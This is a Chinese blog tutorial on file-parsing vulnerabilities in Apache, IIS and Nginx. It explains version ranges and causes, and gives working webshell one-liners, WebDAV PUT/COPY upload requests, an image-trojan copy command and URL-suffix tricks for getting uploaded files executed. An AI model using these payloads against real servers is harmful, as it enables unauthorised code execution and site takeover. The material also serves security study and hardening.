Web Server解析漏洞

1. Apache解析漏洞

1.1. 未知后缀解析漏洞

1.1.1. 影响版本

  • Apache 1.x
  • Apache 2.x

1.1.2. 原理

  • Apache对于⽂件名的解析是从后往前解析的, 直到遇⻅⼀个Apache认识的⽂件类型为⽌.
  • 比如一个文件名为xxx.x1.x2.x3的文件, Apache会从x3的位置往x1的位置开始尝试解析, 如果x3不属于Apache能解析的扩展名, 那么Apache会尝试去解析x2的位置, 这样一直从后往前尝试, 直到遇到一个能解析的扩展名为止, 如果都不认识,则会暴露其源代码.
  • 具体来说, 例如:Phpshell.php.abc.abc, 因为Apache不认识.abc这个⽂件类型,所以会⼀直遍历后缀到.php, 然后认为这是⼀个PHP类型的⽂件.
  • 那么Apache认识哪些扩展名呢?
    • windows: 在Apache安装目录下/conf/mime.types文件中有详细的扩展名列表,这种方法可以绕过基于黑名单的检查
    • Ubuntu: 在/etc/mime.types文件中

1.1.3. 利用

  • ⽐如.rar是⼀个合法的上传需求, 在应⽤⾥只判断⽂件的后缀是否是.rar, 最终⽤户上传的是phpshell.php.rar.rar.rar, 从⽽导致脚本被执⾏.

1.2. 换行解析漏洞

1.2.1. 影响版本

  • Apache版本在2.4.02.4.29

1.2.2. 原理

  • 正则中, $可以匹配行尾或者一个换行符
  • 如果目标Apache使用如下方法来禁止某目录执行PHP
<FilesMatch "\.(?i:php|php3|php4)$">
Order allow, deny
Deny from all
</FilesMatch>
  • 我们可以上传一个后缀末尾包含换行符的php文件, 来绕过这个FilesMatch

默认的Apache配置就可以利用, 默认的Apache配置就使用了如下的FilesMatch

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

1.2.3. 利用

  • 上传一个包含webshell的php文件, 如文件名是1.php, 然后用bp抓包, 用hex功能在1.php后面添加一个\x0A

  • 然后访问1.php%0A, 即可发现getshell

2. IIS解析漏洞

2.1. IIS6.0

  • IIS 6.0再解析文件的时候存在以下三个解析漏洞:
  1. 文件*.asp;1.jpg时,IIS 6.0会以ASP脚本来执行
  2. 当建立*.asa,*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析
  3. WebDav(Web-based Distributed Authoring and Versioning)漏洞(对IIS写权限的利用),如果服务器开启WebDav,并且支持PUT,Move,Copy,Delete等方法,就可能存在安全隐患

2.1.1. 文件类型

Ⅰ:正常:www.xxx.com/logo.jpg

Ⅱ:触发漏洞:www.xxx.com/logo.asp;abc.jpg

  • 这类似0x00字符截断⽂件名, 不过截断字符变成了分号;
  • 按照Ⅰ来上传访问logo.jpg,文件会被当成是jpg图片来解析,如果上传访问logo.asp;abc.jpg,IIS 6会将此⽂件解析为logo.asp,⽂件名被截断了, 被当成asp文件来处理, 从⽽导致脚本被执⾏, 而不会去管abc.jpg(如果IIS支持PHP,那么logo.php;abc.jpg也会被当成PHP文件执行)

2.1.2. 文件夹类型

Ⅰ:正常:www.xxx.com/image/logo.jpg

Ⅱ:触发漏洞:www.xxx.com/image.asp/logo.jpg

  • 按照Ⅰ来上传访问logo.jpg,文件会被当成是jpg图片来解析,如果将logo.jpg上传到*.aspimage.asp目录下,文件就会被当成asp文件来处理。(如果IIS支持PHP,那么image.php文件夹下的文件也会被当做PHP文件解析。)

2.1.3. WebDav

2.1.3.1. 利用条件
  1. 目录支持写权限
  2. 开启了WebDav
  3. 勾选了脚本资源访问复选框

攻击者常用PUT方法上传危险脚本文件, 然后用move方法改为脚本文件, 从而执行webshell, 测试步骤如下:

2.1.3.2. 通过OPTIONS探测服务器所支持的HTTP方法
请求:
OPTIONS / HTTP/1.1
Host:www.example.com

响应:
。。。
Allow:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH
。。。
2.1.3.3. 通过PUT方法向服务器上传脚本文件
请求:
PUT /a.txt HTTP/1.1
Host:www.example.com
Content-Length:30

<%eval request("chopper")%>
2.1.3.4. 通过MoveCopy方法改名
请求:
COPY /a.txt HTTP/1.1
Host:www.example.com
Destination:http://www.example.com/cmd.asp
2.1.3.5. 使用DELETE方法,攻击者还可以删除服务器上的任意文件
请求:
DELETE /a.txt HTTP/1.1
Host:www.example.com

桂林老兵曾写过一款针对WebDav漏洞的软件:IIS Write,利用这款软件,可以快速探测服务器是否存在WebDav漏洞

2.2. IIS7.0以上

2.2.1. 影响版本

IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)

2.2.2. 原理

  • IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串”/任意文件名.php”就会按照php的方式去解析。(例如:webshell.jpg/x.php

  • IIS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于”任意文件名/任意文件名.php”这个漏洞其实是出现自php-cgi的漏洞, 所以其实跟IIS自身是无关的。

2.2.3. 利用

  • 将shell语句,如
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg

copy xx.jpg/b + xx.txt/a test.jpg
  • 上传test.jpg,然后访问test.jpg/.phptest.jpg/abc.php当前目录下就会生成一句话木马 shell.php

3. Nginx解析漏洞

3.1. 畸形解析漏洞

3.1.1. 原理

  • 对任意文件名,在后面添加”/任意文件名.php”的解析漏洞,比如图片木马文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击,那么test.jpg会被当成PHP脚本来解析。注意,此时的x.php是不存在的
  • 这种解析漏洞其实是PHP CGI漏洞,在PHP配置文件中有个关键的选项:cgi.fix_pathinfo,这个选项在某些版本中是默认开启的
cgi.fix_pathinfo = 1
  • 在开启时访问URL,比如: http://www.xxser.com/x.txt/x.php,x.php是不存在的文件,所以PHP会向前递归解析,于是造成了解析漏洞.由于Nginx和PHP配合很容易造成这种漏洞,所以,PHP CGI漏洞常常被认为是Nginx解析漏洞,所以其实跟Nginx自身是无关的。

3.1.2. 利用

  • 将shell语句,如

    <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

    写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀)

  • 然后用命令将shell语句附加在正常图片xx.jpg

copy xx.jpg/b + xx.txt/a test.jpg
  • 上传test.jpg,然后访问test.jpg/.phptest.jpg/abc.php,当前目录下就会生成一句话木马 shell.php

3.1.3. 修复

  • cgi.fix_pathinfo 设置为0

3.2. 空字节代码执行漏洞

3.2.1. 原理

  • 低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击
Nginx0.5.
Nginx0.6.
Nginx0.7. <= 0.7.65
Nginx0.8. <= 0.8.37

3.2.2. 利用

  • 比如在图片后附加php代码,然后通过访问
    xx.jpg%00.php
    来执行其中的代码

3.3. 文件名逻辑漏洞(CVE-2013-4547)

  • 受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x
  • 正常上传一个附加代码的图片test.jpg,访问时后面+空格+\\0+.php,即让图片作为php文件解析
"/test.jpg \\0.php"

3.4. 配置不当目录穿越

  • 如果绝对路径/home/的URL映射是网站目录/files/,配置写成了/files
location /files {
    alias /home/;
}
  • 就可以访问/files../,穿越路径,访问到绝对路径根目录/下的文件列表

   转载规则


《Web Server解析漏洞》 冯文华 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
sublime text 3 激活 sublime text 3 激活
1. 原文链接 https://www.52pojie.cn/thread-925256-1-1.html 2. 修改trigger2.1. Windows 利用010Editor打开软件根目录下的sublime_text.exe 搜索1
下一篇 
PHP弱类型 PHP弱类型
参考:PHP弱类型安全问题总结 | 乘物游心 PHP弱类型简介 在PHP中,可以进行以下的操作。 $param = 1; $param = array(); $param = "stringg"; 弱类型的语言对变量的数据类型没有限制
2019-03-10
  目录